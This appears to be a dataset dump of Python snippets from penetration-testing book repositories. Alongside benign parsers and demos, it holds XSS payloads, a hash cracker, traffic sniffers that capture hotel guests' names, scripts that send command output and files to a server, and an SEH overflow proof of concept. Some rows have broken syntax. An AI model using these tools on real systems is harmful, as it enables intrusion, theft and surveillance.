repo_name
stringclasses 29
values | text
stringlengths 18
367k
| avg_line_length
float64 5.6
132
| max_line_length
int64 11
3.7k
| alphnanum_fraction
float64 0.28
0.94
|
|---|---|---|---|---|
owtf | from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Plugin to assist manual testing"
def run(PluginInfo):
Content = plugin_helper.HtmlString("Intended to show helpful info in the future")
return Content
| 23.777778 | 85 | 0.765766 |
Hands-On-Penetration-Testing-with-Python | #!/usr/bin/python3.5
def compute_area(shape,**args):
if shape.lower() == "circle":
radius=args.get("radius",0)
area=2.17 * (radius **2)
print("Area circle : " +str(area))
elif shape.lower() in ["rect","rectangle"]:
length=args.get("length",0)
width=args.get("width",0)
area=length*width
print("Area Rect : " +str(area))
elif shape.lower() == "triangle":
base=args.get("base",0)
altitude=args.get("altitude",0)
area=(base*altitude)/2
print("Area :Triangle " +str(area))
elif shape.lower() == "square":
side=args.get("side",0)
area= side **2
print("Area Square : " +str(area))
else:
print("Shape not supported")
| 22.321429 | 44 | 0.627301 |
cybersecurity-penetration-testing | #!/usr/bin/python
import hashlib
target = raw_input("Please enter your hash here: ")
dictionary = raw_input("Please enter the file name of your dictionary: ")
def main():
with open(dictionary) as fileobj:
for line in fileobj:
line = line.strip()
if hashlib.md5(line).hexdigest() == target:
print "Hash was successfully cracked %s: The value is %s" % (target, line)
return ""
print "Failed to crack the file."
if __name__ == "__main__":
main()
| 26.578947 | 90 | 0.592734 |
Python-Penetration-Testing-Cookbook | from scapy.all import *
hiddenSSIDs = dict()
def parseSSID(pkt):
if pkt.haslayer(Dot11Beacon) or pkt.haslayer(Dot11ProbeResp):
if not hiddenSSIDs.has_key(pkt[Dot11].addr3):
ssid = pkt[Dot11Elt].info
bssid = pkt[Dot11].addr3
channel = int( ord(pkt[Dot11Elt:3].info))
capability = pkt.sprintf("{Dot11Beacon:%Dot11Beacon.cap%}\{Dot11ProbeResp:%Dot11ProbeResp.cap%}")
if re.search("privacy", capability):
encrypted = 'Y'
else:
encrypted = 'N'
hiddenSSIDs[pkt[Dot11].addr3] =[encrypted, ssid, bssid, channel]
print (hiddenSSIDs)
sniff(iface='wlp3s0b1', prn=parseSSID, count=10, timeout=3, store=0)
| 35 | 109 | 0.586755 |
cybersecurity-penetration-testing | #!/usr/bin/env python
'''
Author: Chris Duffy
Date: May 2015
Purpose: An script that can process and parse NMAP XMLs
Returnable Data: A dictionary of hosts{iterated number} = [[hostnames], address, protocol, port, service name]
Name: nmap_parser.py
Copyright (c) 2015, Christopher Duffy All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met: * Redistributions
of source code must retain the above copyright notice, this list of conditions and
the following disclaimer. * Redistributions in binary form must reproduce the above
copyright notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution. * Neither the
name of the nor the names of its contributors may be used to endorse or promote
products derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL CHRISTOPHER DUFFY BE LIABLE FOR ANY DIRECT, INDIRECT,
INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
'''
import sys
import xml.etree.ElementTree as etree
import argparse
import collections
try:
import nmap_doc_generator as gen
except Exception as e:
print(e)
sys.exit("[!] Please download the nmap_doc_generator.py script")
class Nmap_parser:
def __init__(self, nmap_xml, verbose=0):
self.nmap_xml = nmap_xml
self.verbose = verbose
self.hosts = {}
try:
self.run()
except Exception, e:
print("[!] There was an error %s") % (str(e))
sys.exit(1)
def run(self):
# Parse the nmap xml file and extract hosts and place them in a dictionary
# Input: Nmap XML file and verbose flag
# Return: Dictionary of hosts [iterated number] = [hostname, address, protocol, port, service name, state]
if not self.nmap_xml:
sys.exit("[!] Cannot open Nmap XML file: %s \n[-] Ensure that your are passing the correct file and format" % (self.nmap_xml))
try:
tree = etree.parse(self.nmap_xml)
except:
sys.exit("[!] Cannot open Nmap XML file: %s \n[-] Ensure that your are passing the correct file and format" % (self.nmap_xml))
hosts={}
services=[]
hostname_list=[]
root = tree.getroot()
hostname_node = None
if self.verbose > 0:
print ("[*] Parsing the Nmap XML file: %s") % (self.nmap_xml)
for host in root.iter('host'):
hostname = "Unknown hostname"
for addresses in host.iter('address'):
hwaddress = "No MAC Address ID'd"
ipv4 = "No IPv4 Address ID'd"
addressv6 = "No IPv6 Address ID'd"
temp = addresses.get('addrtype')
if "mac" in temp:
hwaddress = addresses.get('addr')
if self.verbose > 2:
print("[*] The host was on the same broadcast domain")
if "ipv4" in temp:
address = addresses.get('addr')
if self.verbose > 2:
print("[*] The host had an IPv4 address")
if "ipv6" in temp:
addressv6 = addresses.get('addr')
if self.verbose > 2:
print("[*] The host had an IPv6 address")
try:
hostname_node = host.find('hostnames').find('hostname')
except:
if self.verbose > 1:
print ("[!] No hostname found")
if hostname_node is not None:
hostname = hostname_node.get('name')
else:
hostname = "Unknown hostname"
if self.verbose > 1:
print("[*] The hosts hostname is %s") % (str(hostname_node))
hostname_list.append(hostname)
for item in host.iter('port'):
state = item.find('state').get('state')
#if state.lower() == 'open':
service = item.find('service').get('name')
protocol = item.get('protocol')
port = item.get('portid')
services.append([hostname_list, address, protocol, port, service, hwaddress, state])
hostname_list=[]
for i in range(0, len(services)):
service = services[i]
index = len(service) - 1
hostname = str1 = ''.join(service[0])
address = service[1]
protocol = service[2]
port = service[3]
serv_name = service[4]
hwaddress = service[5]
state = service[6]
self.hosts[i] = [hostname, address, protocol, port, serv_name, hwaddress, state]
if self.verbose > 2:
print ("[+] Adding %s with an IP of %s:%s with the service %s")%(hostname,address,port,serv_name)
if self.hosts:
if self.verbose > 4:
print ("[*] Results from NMAP XML import: ")
for key, entry in self.hosts.iteritems():
print("[*] %s") % (str(entry))
if self.verbose > 0:
print ("[+] Parsed and imported unique ports %s") % (str(i+1))
else:
if self.verbose > 0:
print ("[-] No ports were discovered in the NMAP XML file")
def hosts_return(self):
# A controlled return method
# Input: None
# Returned: The processed hosts
try:
return self.hosts
except Exception as e:
print("[!] There was an error returning the data %s") % (e)
if __name__ == '__main__':
# If script is executed at the CLI
usage = '''usage: %(prog)s [-x reports.xml] [-f xml_output2.xlsx] -s -q -v -vv -vvv'''
parser = argparse.ArgumentParser(usage=usage)
parser.add_argument("-x", "--xml", type=str, help="Generate a dictionary of data based on a NMAP XML import, more than one file may be passed, separated by a comma", action="store", dest="xml")
parser.add_argument("-f", "--filename", type=str, action="store", dest="filename", default="xml_output", help="The filename that will be used to create an XLSX")
parser.add_argument("-s", "--simple", action="store_true", dest="simple", help="Format the output into a simple excel product, instead of a report")
parser.add_argument("-v", action="count", dest="verbose", default=1, help="Verbosity level, defaults to one, this outputs each command and result")
parser.add_argument("-q", action="store_const", dest="verbose", const=0, help="Sets the results to be quiet")
parser.add_argument('--version', action='version', version='%(prog)s 0.43b')
args = parser.parse_args()
# Argument Validator
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
# Set Constructors
xml = args.xml # nmap XML
if not xml:
sys.exit("[!] No XML file provided")
verbose = args.verbose # Verbosity level
filename = args.filename # Filename to output XLSX
simple = args.simple # Sets the colors for the excel spreadsheet output
xml_list=[] # List to hold XMLs
# Set return holder
hosts=[] # List to hold instances
hosts_temp={} # Temporary dictionary, which holds returned data from specific instances
hosts_dict={} # Dictionary, which holds the combined returned dictionaries
processed_hosts={} # The dictionary, which holds the unique values from all processed XMLs
count = 0 # Count for combining dictionaries
unique = set()
# Instantiation for proof of concept
if "," in xml:
xml_list = xml.split(',')
else:
xml_list.append(xml)
for x in xml_list:
try:
tree_temp = etree.parse(x)
except:
sys.exit("[!] Cannot open XML file: %s \n[-] Ensure that your are passing the correct file and format" % (x))
try:
root = tree_temp.getroot()
name = root.get("scanner")
if name is not None and "nmap" in name:
if verbose > 1:
print ("[*] File being processed is an NMAP XML")
hosts.append(Nmap_parser(x, verbose))
else:
print("[!] File % is not an NMAP XML") % (str(x))
sys.exit(1)
except Exception, e:
print("[!] Processing of file %s failed %s") % (str(x), str(e))
sys.exit(1)
# Processing of each instance returned to create a composite dictionary
if not hosts:
sys.exit("[!] There was an issue processing the data")
for inst in hosts:
hosts_temp = inst.hosts_return()
if hosts_temp is not None:
for k, v in hosts_temp.iteritems():
hosts_dict[count] = v
count+=1
hosts_temp.clear()
if verbose > 3:
for key, value in hosts_dict.iteritems():
print("[*] Key: %s Value: %s") % (key,value)
temp = [(k, hosts_dict[k]) for k in hosts_dict]
temp.sort()
key = 0
for k, v in temp:
compare = lambda x, y: collections.Counter(x) == collections.Counter(y)
if str(v) in str(processed_hosts.values()):
continue
else:
key+=1
processed_hosts[key] = v
# Generator for XLSX documents
gen.Nmap_doc_generator(verbose, processed_hosts, filename, simple)
# Printout of dictionary values
#if verbose > 0:
# for key, target in processed_hosts.iteritems():
# print("[*] Hostname: %s IP: %s Protocol: %s Port: %s Service: %s State: %s MAC address: %s" % (target[0],target[1],target[2],target[3],target[4],target[6],target[5]))
| 44.607759 | 197 | 0.583743 |
cybersecurity-penetration-testing | #!/usr/bin/python
# -*- coding: utf-8 -*-
import mechanize
def testProxy(url, proxy):
browser = mechanize.Browser()
browser.set_proxies(proxy)
page = browser.open(url)
source_code = page.read()
print source_code
url = 'http://ip.nefsc.noaa.gov/'
hideMeProxy = {'http': '216.155.139.115:3128'}
testProxy(url, hideMeProxy)
| 17.315789 | 46 | 0.657061 |
cybersecurity-penetration-testing | import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = "192.168.0.1"
port =12345
s.connect((host,port))
print s.recv(1024)
s.send("Hello Server")
s.close() | 18.666667 | 53 | 0.715909 |
cybersecurity-penetration-testing | from ftplib import FTP
import time
import os
user = sys.argv[1]
pw = sys.argv[2]
ftp = FTP("127.0.0.1", user, pw)
filescheck = "aa"
loop = 0
up = "../"
while 1:
files = os.listdir("./"+(i*up))
print files
for f in files:
try:
fiile = open(f, 'rb')
ftp.storbinary('STOR ftpfiles/00'+str(f), fiile)
fiile.close()
else:
pass
if filescheck == files:
break
else:
filescheck = files
loop = loop+1
time.sleep(10)
ftp.close()
| 12.441176 | 51 | 0.609649 |
cybersecurity-penetration-testing | import scapy, GeoIP
from scapy import *
gi = GeoIP.new(GeoIP.GEOIP_MEMORY_CACHE)
def locatePackage(pkg):
src=pkg.getlayer(IP).src
dst=pkg.getlayer(IP).dst
srcCountry = gi.country_code_by_addr(src)
dstCountry = gi.country_code_by_addr(dst)
print srcCountry+">>"+dstCountry
try:
while True:
sniff(filter="ip",prn=locatePackage,store=0)
except KeyboardInterrupt:
print "\nScan Aborted!\n"
| 22.411765 | 46 | 0.745592 |
Hands-On-Penetration-Testing-with-Python | #! /usr/bin/python3.5
from multiprocessing import Pool
import pandas as pd
import numpy as np
import multiprocessing as mp
import datetime as dt
class Pooling():
def write_to_file(self,file_name):
try:
st_time=dt.datetime.now()
process=mp.current_process()
name=process.name
print("Started process : " +str(name))
with open(file_name,"w+") as out_file:
out_file.write("Process_name,Record_id,Date_time"+"\n")
for i in range(1000000):
out_file.writeline(str(name)","+str(i)+","+str(dt.datetime.now())+"\n")
print("Ended process : " +str(name))
en_time=dt.datetime.now()
return "Process : "+str(name)+" - Exe time in sec : " +str((en_time-st_time).seconds)
except Exception as ex:
print("Exception caught :"+str(ex))
return "Process : "+str(name)+" - Exception : " +str(ex)
def driver(self):
try:
st_time=dt.datetime.now()
p_cores=mp.cpu_count()
pool = mp.Pool(p_cores)
results=[]
for i in range(8):
results.append(pool.apply_async(self.write_to_file,"Million_"+str(i)))
final_results=[]
for result in results:
final_results.append(result.get())
pool.close()
pool.join()
en_time=dt.datetime.now()
print("Results : ")
for rec in final_results:
print(rec)
print("Total Execution time : " +str((en_time-st_time).seconds))
except Exception as ex:
print("Exception caught :"+str(ex))
obj=Pooling()
obj.driver()
| 28.479167 | 88 | 0.653465 |
Hands-On-Penetration-Testing-with-Python | # -*- coding: utf-8 -*-
from south.utils import datetime_utils as datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding field 'Vulnerability.url'
db.add_column(u'xtreme_server_vulnerability', 'url',
self.gf('django.db.models.fields.TextField')(default='', blank=True),
keep_default=False)
# Adding field 'Vulnerability.re_attack'
db.add_column(u'xtreme_server_vulnerability', 're_attack',
self.gf('django.db.models.fields.TextField')(default='', blank=True),
keep_default=False)
# Adding field 'Vulnerability.project'
db.add_column(u'xtreme_server_vulnerability', 'project',
self.gf('django.db.models.fields.TextField')(default='', blank=True),
keep_default=False)
# Adding field 'Vulnerability.timestamp'
db.add_column(u'xtreme_server_vulnerability', 'timestamp',
self.gf('django.db.models.fields.TextField')(default='', blank=True),
keep_default=False)
# Adding field 'Vulnerability.msg_type'
db.add_column(u'xtreme_server_vulnerability', 'msg_type',
self.gf('django.db.models.fields.TextField')(default='', blank=True),
keep_default=False)
# Adding field 'Vulnerability.msg'
db.add_column(u'xtreme_server_vulnerability', 'msg',
self.gf('django.db.models.fields.TextField')(default='', blank=True),
keep_default=False)
# Adding field 'Vulnerability.auth'
db.add_column(u'xtreme_server_vulnerability', 'auth',
self.gf('django.db.models.fields.TextField')(default='', blank=True),
keep_default=False)
def backwards(self, orm):
# Deleting field 'Vulnerability.url'
db.delete_column(u'xtreme_server_vulnerability', 'url')
# Deleting field 'Vulnerability.re_attack'
db.delete_column(u'xtreme_server_vulnerability', 're_attack')
# Deleting field 'Vulnerability.project'
db.delete_column(u'xtreme_server_vulnerability', 'project')
# Deleting field 'Vulnerability.timestamp'
db.delete_column(u'xtreme_server_vulnerability', 'timestamp')
# Deleting field 'Vulnerability.msg_type'
db.delete_column(u'xtreme_server_vulnerability', 'msg_type')
# Deleting field 'Vulnerability.msg'
db.delete_column(u'xtreme_server_vulnerability', 'msg')
# Deleting field 'Vulnerability.auth'
db.delete_column(u'xtreme_server_vulnerability', 'auth')
models = {
u'xtreme_server.form': {
'Meta': {'object_name': 'Form'},
'auth_visited': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'form_action': ('django.db.models.fields.URLField', [], {'max_length': '200', 'blank': 'True'}),
'form_content': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'form_found_on': ('django.db.models.fields.URLField', [], {'max_length': '200'}),
'form_method': ('django.db.models.fields.CharField', [], {'default': "'GET'", 'max_length': '10'}),
'form_name': ('django.db.models.fields.CharField', [], {'max_length': '512', 'blank': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'input_field_list': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'project': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['xtreme_server.Project']"})
},
u'xtreme_server.inputfield': {
'Meta': {'object_name': 'InputField'},
'form': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['xtreme_server.Form']"}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'input_type': ('django.db.models.fields.CharField', [], {'default': "'input'", 'max_length': '256', 'blank': 'True'})
},
u'xtreme_server.learntmodel': {
'Meta': {'object_name': 'LearntModel'},
'form': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['xtreme_server.Form']"}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'learnt_model': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'page': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['xtreme_server.Page']"}),
'project': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['xtreme_server.Project']"}),
'query_id': ('django.db.models.fields.TextField', [], {})
},
u'xtreme_server.page': {
'Meta': {'object_name': 'Page'},
'URL': ('django.db.models.fields.URLField', [], {'max_length': '200'}),
'auth_visited': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'connection_details': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'content': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'page_found_on': ('django.db.models.fields.URLField', [], {'max_length': '200', 'blank': 'True'}),
'project': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['xtreme_server.Project']"}),
'status_code': ('django.db.models.fields.CharField', [], {'max_length': '256', 'blank': 'True'}),
'visited': ('django.db.models.fields.BooleanField', [], {'default': 'False'})
},
u'xtreme_server.project': {
'Meta': {'object_name': 'Project'},
'allowed_extensions': ('django.db.models.fields.TextField', [], {}),
'allowed_protocols': ('django.db.models.fields.TextField', [], {}),
'auth_mode': ('django.db.models.fields.TextField', [], {}),
'consider_only': ('django.db.models.fields.TextField', [], {}),
'exclude_fields': ('django.db.models.fields.TextField', [], {}),
'login_url': ('django.db.models.fields.URLField', [], {'max_length': '200'}),
'logout_url': ('django.db.models.fields.URLField', [], {'max_length': '200'}),
'password': ('django.db.models.fields.TextField', [], {}),
'password_field': ('django.db.models.fields.TextField', [], {'default': "'Not Set'"}),
'project_name': ('django.db.models.fields.CharField', [], {'max_length': '50', 'primary_key': 'True'}),
'query_url': ('django.db.models.fields.URLField', [], {'max_length': '200'}),
'start_url': ('django.db.models.fields.URLField', [], {'max_length': '200'}),
'status': ('django.db.models.fields.CharField', [], {'default': "'Not Set'", 'max_length': '50'}),
'username': ('django.db.models.fields.TextField', [], {}),
'username_field': ('django.db.models.fields.TextField', [], {'default': "'Not Set'"})
},
u'xtreme_server.settings': {
'Meta': {'object_name': 'Settings'},
'allowed_extensions': ('django.db.models.fields.TextField', [], {}),
'allowed_protocols': ('django.db.models.fields.TextField', [], {}),
'auth_mode': ('django.db.models.fields.TextField', [], {}),
'consider_only': ('django.db.models.fields.TextField', [], {}),
'exclude_fields': ('django.db.models.fields.TextField', [], {}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'password': ('django.db.models.fields.TextField', [], {}),
'username': ('django.db.models.fields.TextField', [], {})
},
u'xtreme_server.vulnerability': {
'Meta': {'object_name': 'Vulnerability'},
'auth': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'details': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'form': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['xtreme_server.Form']"}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'msg': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'msg_type': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'project': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
're_attack': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'timestamp': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'url': ('django.db.models.fields.TextField', [], {'blank': 'True'})
}
}
complete_apps = ['xtreme_server'] | 58.571429 | 130 | 0.549657 |
PenetrationTestingScripts | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author : jeffzhang
# @Time : 18-5-14
# @File : __init__.py.py
# @Desc : ""
| 16 | 27 | 0.481481 |
Python-Penetration-Testing-for-Developers | import requests
import urllib
import subprocess
from subprocess import PIPE, STDOUT
commands = ['whoami','hostname','uname']
out = {}
for command in commands:
try:
p = subprocess.Popen(command, stderr=STDOUT, stdout=PIPE)
out[command] = p.stdout.read().strip()
except:
pass
requests.get('http://localhost:8000/index.html?' + urllib.urlencode(out))
| 22.058824 | 73 | 0.667519 |
Penetration_Testing | from distutils.core import setup
import py2exe
setup(options = {"py2exe": {"bundle_files": 3,"compressed":True}}, windows = [{"script":"windows_screen-grabber.py"}], zipfile = None)
| 35.8 | 134 | 0.710383 |
cybersecurity-penetration-testing | import urllib2
import sys
__author__ = 'Preston Miller and Chapin Bryce'
__date__ = '20160401'
__version__ = 0.02
__description__ = """Reads Linux-usb.org's USB.ids file and parses into usable data for parsing VID/PIDs"""
def main():
"""
Main function to control operation. Requires arguments passed as VID PID
on the command line. If discovered in data set, the common names will be
printed to stdout
:return: None
"""
ids = getIds()
usb_file = getUSBFile()
usbs = parseFile(usb_file)
results = searchKey(usbs, ids)
print "Vendor: {}\nProduct: {}".format(results[0],results[1])
def getIds():
"""
Retrieves vid and pid from arguments in the format of VID PID.
ie: python usb_lookup.py 0123 4567
"""
if len(sys.argv) >= 3:
return sys.argv[1], sys.argv[2]
else:
print """Please provide the vendor Id and product Id separated by
spaces at the command line. ie: python usb_lookup.py 0123 4567
"""
sys.exit(1)
def getUSBFile():
"""
Retrieves USB.ids database from the web.
"""
url = 'http://www.linux-usb.org/usb.ids'
return urllib2.urlopen(url)
def parseFile(usb_file):
"""
Parses the USB.ids file. If this is run offline, please download the USB.ids
and pass the open file to this function.
ie: parseFile(open('path/to/USB.ids', 'r'))
:return: dictionary of entires for querying
"""
usbs = {}
curr_id = ''
for line in usb_file:
if line.startswith('#') or line == '\n':
pass
else:
if not line.startswith('\t') and (line[0].isdigit() or line[0].islower()):
id, name = getRecord(line.strip())
curr_id = id
usbs[id] = [name, {}]
elif line.startswith('\t') and line.count('\t') == 1:
id, name = getRecord(line.strip())
usbs[curr_id][1][id] = name
return usbs
def getRecord(record_line):
"""
Split records out by dynamic position. By finding the space, we can determine the
location to split the record for extraction. To learn more about this,
uncomment the print statements and see what the code is doing behind the
scenes!
"""
# print "Line: ",
# print record_line
split = record_line.find(' ')
# print "Split: ",
# print split
record_id = record_line[:split]
# print "Record ID: ",
# print record_id
record_name = record_line[split + 1:]
# print "Record Name: ",
# print record_name
return record_id, record_name
def searchKey(usb_dict, ids):
"""
Compare provided IDs to the built USB dictionary. If found, it will return
the common name, otherwise returns the string "Unknown"
"""
vendor_key = ids[0]
product_key = ids[1]
try:
vendor = usb_dict[vendor_key][0]
except KeyError:
vendor = 'Unknown'
try:
product = usb_dict[vendor_key][1][product_key]
except KeyError:
product = 'Unknown'
return vendor, product
if __name__ == '__main__':
main()
| 26.830357 | 107 | 0.596919 |
cybersecurity-penetration-testing | #!/usr/bin/python
# -*- coding: utf-8 -*-
import optparse
from scapy.all import *
def findGuest(pkt):
raw = pkt.sprintf('%Raw.load%')
name = re.findall('(?i)LAST_NAME=(.*)&', raw)
room = re.findall("(?i)ROOM_NUMBER=(.*)'", raw)
if name:
print '[+] Found Hotel Guest ' + str(name[0])+\
', Room #' + str(room[0])
def main():
parser = optparse.OptionParser('usage %prog '+\
'-i <interface>')
parser.add_option('-i', dest='interface',\
type='string', help='specify interface to listen on')
(options, args) = parser.parse_args()
if options.interface == None:
print parser.usage
exit(0)
else:
conf.iface = options.interface
try:
print '[*] Starting Hotel Guest Sniffer.'
sniff(filter='tcp', prn=findGuest, store=0)
except KeyboardInterrupt:
exit(0)
if __name__ == '__main__':
main()
| 22.435897 | 60 | 0.561884 |
cybersecurity-penetration-testing | import requests
import sys
from bs4 import BeautifulSoup, SoupStrainer
url = "http://127.0.0.1/xss/medium/guestbook2.php"
url2 = "http://127.0.0.1/xss/medium/addguestbook2.php"
url3 = "http://127.0.0.1/xss/medium/viewguestbook2.php"
payloads = ['<script>alert(1);</script>', '<scrscriptipt>alert(1);</scrscriptipt>', '<BODY ONLOAD=alert(1)>']
up = "../"
i = 0
d = {}
sets = []
initial = requests.get(url)
for payload in payloads:
for field in BeautifulSoup(initial.text, parse_only=SoupStrainer('input')):
print field
if field.has_attr('name'):
if field['name'].lower() == "submit":
d[field['name']] = "submit"
else:
d[field['name']] = payload
sets.append(d)
req = requests.post(url2, data=d)
checkresult = requests.get(url3)
if payload in checkresult.text:
print "Full string returned"
print "Attacks string: "+ payload
d = {} | 30.857143 | 109 | 0.650954 |
Python-Penetration-Testing-Cookbook | # -*- coding: utf-8 -*-
# Define your item pipelines here
#
# Don't forget to add your pipeline to the ITEM_PIPELINES setting
# See: http://doc.scrapy.org/en/latest/topics/item-pipeline.html
class BooksPipeline(object):
def process_item(self, item, spider):
return item
| 22.833333 | 65 | 0.701754 |
cybersecurity-penetration-testing | import socket
host = "192.168.0.1"
port = 12346
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind((host,port))
s.settimeout(5)
data, addr = s.recvfrom(1024)
print "recevied from ",addr
print "obtained ", data
s.close() | 21.9 | 52 | 0.714912 |
Penetration-Testing-with-Shellcode | #!/usr/bin/python
import socket
junk = 'A'*4061
nSEH = 'B'*4
SEH = 'C'*4
pad = 'D'*(5000-4061-4-4)
injection = junk + nSEH + SEH + pad
s = socket.socket()
s.connect(('192.168.129.128',80))
s.send("GET " + injection + " HTTP/1.0\r\n\r\n")
s.close()
| 14.9375 | 49 | 0.586614 |
cybersecurity-penetration-testing | class Solution(object):
# def findShortestSubArray(self, nums):
# """
# :type nums: List[int]
# :rtype: int
# """
# res = len(nums)
# counter = collections.Counter()
# for num in nums:
# counter[num] += 1
# degree = max(counter.values())
# for key, kdegree in counter.most_common():
# if degree != kdegree:
# break
# res = min(res, self.smallestSubArray(nums, key, degree))
# return res
# def smallestSubArray(self, nums, key, degree):
# start = nums.index(key)
# pos = start + 1
# degree -= 1
# while pos < len(nums) and degree != 0:
# if nums[pos] == key:
# degree -= 1
# pos += 1
# return pos - start
def findShortestSubArray(self, nums):
left, right, count = {}, {}, {}
for i, x in enumerate(nums):
if x not in left: left[x] = i
right[x] = i
count[x] = count.get(x, 0) + 1
ans = len(nums)
degree = max(count.values())
for x in count:
if count[x] == degree:
ans = min(ans, right[x] - left[x] + 1)
return ans
| 28.809524 | 70 | 0.46283 |
Python-Penetration-Testing-for-Developers | import socket
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800))
s.bind(("eth0",socket.ntohs(0x0800)))
sor = '\x00\x0c\x29\x4f\x8e\x35'
des ='\x00\x0C\x29\x2E\x84\x7A'
code ='\x08\x00'
eth = des+sor+code
s.send(eth)
| 21.090909 | 74 | 0.694215 |
Hands-On-Penetration-Testing-with-Python | #!/usr/bin/python3.5
l1=[1,2,3,4]
l2=[5,6,7,8]
zipped=list(zip(l1,l2))
print("Zipped is : " +str(zipped))
sum_=[x+y for x,y in zipped]
print("Sum : "+str(sum_))
sum_1=list(map(lambda x :x[0]+x[1] ,zip(l1,l2)))
print("Sum one shot (M1) : "+str(sum_1))
sum_2=[x + y for x,y in zip(l1,l2)]
print("Sum 1 shot (M2) : "+str(sum_2))
| 22.5 | 48 | 0.585366 |
cybersecurity-penetration-testing | #!/usr/bin/python
import hashlib
import sys
def multi_hash(filename):
"""Calculates the md5 and sha256 hashes
of the specified file and returns a list
containing the hash sums as hex strings."""
md5 = hashlib.md5()
sha256 = hashlib.sha256()
with open(filename, 'rb') as f:
while True:
buf = f.read(2**20)
if not buf:
break
md5.update(buf)
sha256.update(buf)
return [md5.hexdigest(), sha256.hexdigest()]
if __name__ == '__main__':
hashes = []
print '---------- MD5 sums ----------'
for filename in sys.argv[1:]:
h = multi_hash(filename)
hashes.append(h)
print '%s %s' % (h[0], filename)
print '---------- SHA256 sums ----------'
for i in range(len(hashes)):
print '%s %s' % (hashes[i][1], sys.argv[i+1])
| 23.444444 | 54 | 0.515358 |
Effective-Python-Penetration-Testing | import mechanize
cookies = mechanize.CookieJar()
cookie_opener = mechanize.build_opener(mechanize.HTTPCookieProcessor(cookies))
mechanize.install_opener(cookie_opener)
url = "http://www.webscantest.com/crosstraining/aboutyou.php"
res = mechanize.urlopen(url)
content = res.read()
| 16.352941 | 78 | 0.765306 |
owtf | from owtf.managers.resource import get_resources
from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Plugin to assist manual testing"
def run(PluginInfo):
resource = get_resources("ExternalCommandInjection")
Content = plugin_helper.resource_linklist("Online Resources", resource)
return Content
| 28 | 75 | 0.783019 |
cybersecurity-penetration-testing | #!/usr/bin/env python
"""
Very simple HTTP server in python.
Usage::
./dummy-web-server.py [<port>]
Send a GET request::
curl http://localhost
Send a HEAD request::
curl -I http://localhost
Send a POST request::
curl -d "foo=bar&bin=baz" http://localhost
"""
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import SocketServer
class S(BaseHTTPRequestHandler):
def _set_headers(self):
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
def do_GET(self):
self._set_headers()
self.wfile.write("<html><body><h1>hi!</h1></body></html>")
def do_HEAD(self):
self._set_headers()
def do_POST(self):
# Doesn't do anything with posted data
self._set_headers()
self.wfile.write("<html><body><h1>POST!</h1></body></html>")
def run(server_class=HTTPServer, handler_class=S, port=80):
server_address = ('', port)
httpd = server_class(server_address, handler_class)
print 'Starting httpd...'
httpd.serve_forever()
if __name__ == "__main__":
from sys import argv
if len(argv) == 2:
run(port=int(argv[1]))
else:
run()
| 22.634615 | 68 | 0.608306 |
Python-Penetration-Testing-for-Developers | #!/usr/bin/env python
'''
Author: Chris Duffy
Date: May 2015
Name: tftp_exploit.py
Purpose: An example script to help test the exploitability of Sami FTP Server 2.0.1 after reversing a Metasploit module.
Copyright (c) 2015, Christopher Duffy All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met: * Redistributions
of source code must retain the above copyright notice, this list of conditions and
